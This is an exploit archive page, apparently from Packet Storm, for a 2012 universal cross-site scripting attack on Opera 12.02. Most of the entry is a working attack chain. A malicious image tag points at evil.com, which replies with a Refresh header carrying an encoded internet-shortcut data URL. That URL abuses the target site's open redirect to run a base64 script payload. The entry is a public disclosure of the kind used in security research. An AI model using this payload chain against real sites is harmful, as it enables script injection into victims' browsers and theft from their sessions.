what you don't know can hurt you

Opera 12.02 Cross Site Scripting

Opera 12.02 Cross Site Scripting
Posted Oct 10, 2012
Authored by volema.com

Opera appears to suffer from a cross site scripting vulnerability due to a content inspection issue with image/svg+xml.

tags | exploit, xss
MD5 | 4627dcff9caef5e1e10b51f5ba1d5ae0

Opera 12.02 Cross Site Scripting

Change Mirror Download
# Exploit Title: Opera image/svg+xml UXSS
# Date: 06.10.2012
# Exploit Author: volema.com
# Author homepage: http://blog.volema.com
# Vendor Homepage: opera.com
# Version: Opera 12.02
# Tested on: Windows
# CVE : NO

[ Full disclosure - http://blog.volema.com/opera-svg-xml-shortcut-uxss.html ]

We'll exploit the process of handling 'image/svg+xml' Content-Type with the Refresh server response header.
Also we'll use recently-published 0-day Opera XSS vulnerability (which requires a victim to click the malicious link manually)

All that present us UXSS exploit without any user interaction.

HOW-TO:

We should have the permissions to post any images to target site and there is also a script that allows us to yield any HTTP redirects.
The victim visits http://target.com/blog/ where the malicious <img> is placed in the comment section.

<img src="http://evil.com/evil.png" />

When the browser tries to access 'evil.png', the malicious script responds with an exploit:

Refresh: 0; url=data:application/internet-shortcut,%5BInternetShortcut%5D%0D%0AURL%3Dhttp%3A%2F%2Ftarget.com%2Fopenredirect%3Fparam%3Ddata%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3D%3D
Content-Type: image/svg+xml;

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" />

Then Opera interprets internet shortcut from Refresh header data and redirects the victum to

http://target.com/openredirect?param=data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3d%3d

This URL has an exploit for UXSS 0-day Opera vulnerability embedded in it.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    17 Files
  • 20
    Nov 20th
    15 Files
  • 21
    Nov 21st
    16 Files
  • 22
    Nov 22nd
    2 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close